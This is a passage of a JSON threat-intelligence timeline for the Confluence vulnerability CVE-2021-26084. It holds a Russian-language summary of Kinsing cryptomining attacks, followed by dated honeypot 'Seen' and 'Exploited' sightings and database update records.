\u0438\u0449\u0435\u0442 \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u043e\u0432, \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439.\n\n\u0410\u0442\u0430\u043a\u0438 Kinsing \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u00a0\u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0438\u00a0\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u0445\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u00a0\u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0432\u00a0\u0442\u0430\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445, \u043a\u0430\u043a Docker, Kubernetes, Redis \u0438\u00a0PostgreSQL, \u0430\u00a0\u0442\u0430\u043a\u0436\u0435 \u0432\u00a0\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 - Apache Log4j, Tomcat, NiFi, Confluence, Citrix, WebLogic \u0438\u00a0\u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0446\u0435\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440,\u00a0lh.sh\u00a0\u0434\u043b\u044f\u00a0Log4Shell), \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u0438\u00a0\u0441\u0430\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a Kinsing.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f - \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b, \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u044b\u0439 \u0438\u0437\u043d\u043e\u0441 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f (\u043e\u0442\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u00a0\u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u043e \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438\u00a0\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439) \u0438 IOCs - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "url": "https://t.me/true_secator/7335"}, {"timestamp": "2025-08-19T00:00:00Z", "date_only": false, "value": "2025-08-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e81c5caa-47a1-4799-97ce-336407cbf1d5"}, {"timestamp": "2025-08-20T00:00:00Z", "date_only": false, "value": "2025-08-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0efe6e4c-8d68-4af6-971e-7f3fecacca6d"}, {"timestamp": "2025-08-20T00:00:00Z", "date_only": false, "value": "2025-08-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b3ffec02-4dfb-4195-b800-8c8ada5e5ab4"}, {"timestamp": "2025-08-31T03:00:51Z", "date_only": false, "value": "2025-08-31T03:00:51.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8d35f167-8569-4396-b4b0-617463107d52"}, {"timestamp": "2025-08-31T03:12:40Z", "date_only": false, "value": "2025-08-31T03:12:40.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "531a664d-eaf8-41d5-8e4a-459e32f7fec8"}, {"timestamp": "2025-09-06T00:00:00Z", "date_only": false, "value": "2025-09-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6b2f39ec-2494-4c92-b866-49fcd181d1db"}, {"timestamp": "2025-09-08T00:00:00Z", "date_only": false, "value": "2025-09-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d4aea091-aac2-4422-86bf-e22219b7c8d5"}, {"timestamp": "2025-09-08T00:00:00Z", "date_only": false, "value": "2025-09-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "637da143-c3c6-44d3-b8ea-478e85adb447"}, {"timestamp": "2025-09-13T00:00:00Z", "date_only": false, "value": "2025-09-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "952b3ece-94a1-4e16-8506-710c03fa152e"}, {"timestamp": "2025-09-15T00:00:00Z", "date_only": false, "value": "2025-09-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e4616e82-c0f7-4efe-91de-2ba2f890b115"}, {"timestamp": "2025-09-17T00:00:00Z", "date_only": false, "value": "2025-09-17T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "25354999-e193-498d-bc30-8638183fdc0e"}, {"timestamp": "2025-09-18T00:00:00Z", "date_only": false, "value": "2025-09-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b3c995c4-eabd-4ada-8514-26043c2a0c8d"}, {"timestamp": "2025-09-19T00:00:00Z", "date_only": false, "value": "2025-09-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ff7e6a51-ae64-489f-8fe5-b8c0d6177d7e"}, {"timestamp": "2025-09-22T00:00:00Z", "date_only": false, "value": "2025-09-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "417c22a4-24c8-4398-8afb-7de47e5e9a3c"}, {"timestamp": "2025-09-24T00:00:00Z", "date_only": false, "value": "2025-09-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c674f41b-95c6-49e8-b675-e42f91fc8b01"}, {"timestamp": "2025-09-24T00:00:00Z", "date_only": false, "value": "2025-09-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b5788d62-de63-4834-8c4a-ac9d896820d5"}, {"timestamp": "2025-09-26T00:00:00Z", "date_only": false, "value": "2025-09-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9c8fdf01-5fb5-43eb-a3b9-d0013ba586fc"}, {"timestamp": "2025-09-28T00:00:00Z", "date_only": false, "value": "2025-09-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "171803c8-9ea3-46eb-be93-4e7a8695e301"}, {"timestamp": "2025-10-02T00:00:00Z", "date_only": false, "value": "2025-10-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b9c5fa4d-e9b2-4f65-b29c-1f233ee99b4b"}, {"timestamp": "2025-10-03T00:00:00Z", "date_only": false, "value": "2025-10-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f3e7d77a-2181-4cb3-9778-b268abb3caaf"}, {"timestamp": "2025-10-04T00:00:00Z", "date_only": false, "value": "2025-10-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9d9113d7-4424-4a12-bf64-3d7ae380631d"}, {"timestamp": "2025-10-08T00:00:00Z", "date_only": false, "value": "2025-10-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "eb7b7574-fb5d-4c60-b3dc-d64f3f9a983b"}, {"timestamp": "2025-10-10T00:00:00Z", "date_only": false, "value": "2025-10-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "acbbf3b0-2b32-4223-8db4-fd7c8e8973fe"}, {"timestamp": "2025-10-12T00:00:00Z", "date_only": false, "value": "2025-10-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6c021ee4-2249-48e6-a048-4668842b7842"}, {"timestamp": "2025-10-12T00:00:00Z", "date_only": false, "value": "2025-10-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d15ab08a-cacf-487e-87ab-4fb32c6bf1b9"}, {"timestamp": "2025-10-14T00:00:00Z", "date_only": false, "value": "2025-10-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1a67343b-97fa-4060-b0b9-9e9594866a38"}, {"timestamp": "2025-10-15T00:00:00Z", "date_only": false, "value": "2025-10-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "50436266-1744-4a1a-ba0b-ef001b917b92"}, {"timestamp": "2025-10-16T00:00:00Z", "date_only": false, "value": "2025-10-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dbce0cd2-a06d-4f6a-a8e7-a88ea793980f"}, {"timestamp": "2025-10-17T00:00:00Z", "date_only": false, "value": "2025-10-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "32a94ece-79ed-4ded-bdb7-b36a8c17ef74"}, {"timestamp": "2025-10-22T00:00:00Z", "date_only": false, "value": "2025-10-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "745cae0f-e472-4fe7-aa4c-d533c5faba37"}, {"timestamp": "2025-10-22T00:32:19Z", "date_only": false, "value": "2025-10-22T00:32:19Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-855C-XP53-5FP2", "record": "GHSA-855C-XP53-5FP2", "field": "modified"}, {"timestamp": "2025-10-23T00:00:00Z", "date_only": false, "value": "2025-10-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b3a492ce-9214-46a6-8a19-dc6725446cc7"}, {"timestamp": "2025-10-25T00:00:00Z", "date_only": false, "value": "2025-10-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6e7a6d62-29ce-406d-97ab-58e416db53b9"}, {"timestamp": "2025-10-28T00:00:00Z", "date_only": false, "value": "2025-10-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0915a1bc-596a-478f-b32b-6a09fd2553e0"}, {"timestamp": "2025-10-29T00:00:00Z", "date_only": false, "value": "2025-10-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0d902c6d-3790-4fe8-9d6c-adc3a6a1ac44"}, {"timestamp": "2025-11-01T00:00:00Z", "date_only": false, "value": "2025-11-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "294b6f39-1ae7-47b2-afd0-c2b22f2b7ba5"}, {"timestamp": "2025-11-03T00:00:00Z", "date_only": false, "value": "2025-11-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b9d0aa87-a527-47aa-b558-24a805d7558b"}, {"timestamp": "2025-11-05T00:00:00Z", "date_only": false, "value": "2025-11-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7e5cf63c-1f06-498f-a3b5-9799811ddcbc"}, {"timestamp": "2025-11-07T00:00:00Z", "date_only": false, "value": "2025-11-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "42394b19-2208-4689-8f40-f7390ddc1a04"}, {"timestamp": "2025-11-07T20:52:48Z", "date_only": false, "value": "2025-11-07T20:52:48.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ed2b7e96-4f45-467e-9ac4-bce072f78d46", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c4f67cd3-5be9-4899-aed0-eb9f114fef74"}, {"timestamp": "2025-11-08T00:00:00Z", "date_only": false, "value": "2025-11-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "99e247e8-35fc-4f42-991b-89641c1f9973"}, {"timestamp": "2025-11-20T00:00:00Z", "date_only": false, "value": "2025-11-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9ac8cca4-22ec-4324-8862-a61174391980"}, {"timestamp": "2025-11-23T00:00:00Z", "date_only": false, "value": "2025-11-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f280a805-ff7a-4495-b66b-7f747f0288db"}, {"timestamp": "2025-11-24T00:00:00Z", "date_only": false, "value": "2025-11-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "57070cee-926c-4329-a27d-9300ae161e44"}, {"timestamp": "2025-11-24T00:00:00Z", "date_only": false, "value": "2025-11-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c7c9418c-923c-4da7-aac5-1671f2116258"}, {"timestamp": "2025-11-25T00:00:00Z", "date_only": false, "value": "2025-11-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fcd6e02e-9368-4600-af0f-72367eedcc68"}, {"timestamp": "2025-11-28T00:00:00Z", "date_only": false, "value": "2025-11-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "db4153c9-1d84-4971-a8f2-cdf3567e7eba"}, {"timestamp": "2025-11-29T00:00:00Z", "date_only": false, "value": "2025-11-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5695a6e6-ad6f-4590-a72f-4dc8eca12b1e"}, {"timestamp": "2025-11-30T00:00:00Z", "date_only": false, "value": "2025-11-30T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0bc78ce8-1ea6-4b0b-9724-22d73f7b6663"}, {"timestamp": "2025-12-01T00:00:00Z", "date_only": false, "value": "2025-12-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5e548d95-e765-4a3f-902e-1e17c2521cfc"}, {"timestamp": "2025-12-03T00:00:00Z", "date_only": false, "value": "2025-12-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dc4330d8-070a-4aaa-924c-03ceda9adfb0"}, {"timestamp": "2025-12-04T00:00:00Z", "date_only": false, "value": "2025-12-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c4c357cd-c5c2-49a5-a431-ed73016cbeb8"}, {"timestamp": "2025-12-09T00:00:00Z", "date_only": false, "value": "2025-12-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "917f01b6-cf9a-4b55-af77-88157437c726"}, {"timestamp": "2025-12-11T00:00:00Z", "date_only": false, "value": "2025-12-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "68846d8a-d69d-42f0-b784-a8bd3dd2c787"}, {"timestamp": "2025-12-11T00:00:00Z", "date_only": false, "value": "2025-12-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "26e1f7f7-40a0-427d-ad18-e503512fbe3d"}, {"timestamp": "2025-12-12T00:00:00Z", "date_only": false, "value": "2025-12-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "68450caf-5641-45d9-a14e-38eae14ef7f0"}, {"timestamp": "2025-12-13T00:00:00Z", "date_only": false, "value": "2025-12-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "08217eaa-4fe2-4281-af62-5de036aa9a0e"}, {"timestamp": "2025-12-14T00:00:00Z", "date_only": false, "value": "2025-12-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "98ff003b-6218-40ed-a112-127a5c39b28e"}, {"timestamp": "2025-12-16T18:01:22.351Z", "date_only": false, "value": "2025-12-16T18:01:22.351686Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-26084", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2025-12-16T18:01:22.351Z", "date_only": false, "value": "2025-12-16T18:01:22.351686Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-26084", "record": "FKIE_CVE-2021-26084", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-12-16T18:04:05.834Z", "date_only": false, "value": "2025-12-16T18:04:05.834Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2021-26084", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-12-16T18:04:05.834Z", "date_only": false, "value": "2025-12-16T18:04:05.834Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-26084", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-12-17T00:00:00Z", "date_only": false, "value": "2025-12-17T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "82bcdf3b-b28b-4577-a50a-76191e0448b9"}, {"timestamp": "2025-12-20T00:00:00Z", "date_only": false, "value": "2025-12-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a52e960d-8866-40d9-956a-ecff6045af1c"}, {"timestamp": "2025-12-20T00:00:00Z", "date_only": false, "value": "2025-12-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "75eb40f6-12c4-4b52-a528-b54f7487b8a2"}, {"timestamp": "2025-12-22T00:00:00Z", "date_only": false, "value": "2025-12-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "060c53ef-3da2-455e-b8d5-74d0bcb9d888"}, {"timestamp": "2025-12-23T00:00:00Z", "date_only": false, "value": "2025-12-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c7ce6f57-1fcd-48cf-81cb-f6baf0f6007a"}, {"timestamp": "2025-12-25T00:00:00Z", "date_only": false, "value": "2025-12-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3fc9eb91-119a-47f3-b0b2-92fc45796979"}, {"timestamp": "2025-12-25T00:00:00Z", "date_only": false, "value": "2025-12-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a262db2e-40cb-4b66-bf2c-6271f92d955b"}, {"timestamp": "2025-12-29T00:00:00Z", "date_only": false, "value": "2025-12-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bd3125f1-f7aa-4c01-82a3-810692b14d9a"}, {"timestamp": "2025-12-29T00:00:00Z", "date_only": false, "value": "2025-12-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ce2df757-cf19-4299-b539-aaeac5957bb3"}, {"timestamp": "2026-01-04T00:00:00Z", "date_only": false, "value": "2026-01-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0485f92e-5fa9-4277-bc2f-b782c7737491"}, {"timestamp": "2026-01-07T00:00:00Z", "date_only": false, "value": "2026-01-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "39c17313-475c-4a46-9ffd-d59a1023c5b1"}, {"timestamp": "2026-01-09T00:00:00Z", "date_only": false, "value": "2026-01-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "146ee685-bb6c-44c2-9823-888d00e56ae3"}, {"timestamp": "2026-01-09T00:00:00Z", "date_only": false, "value": 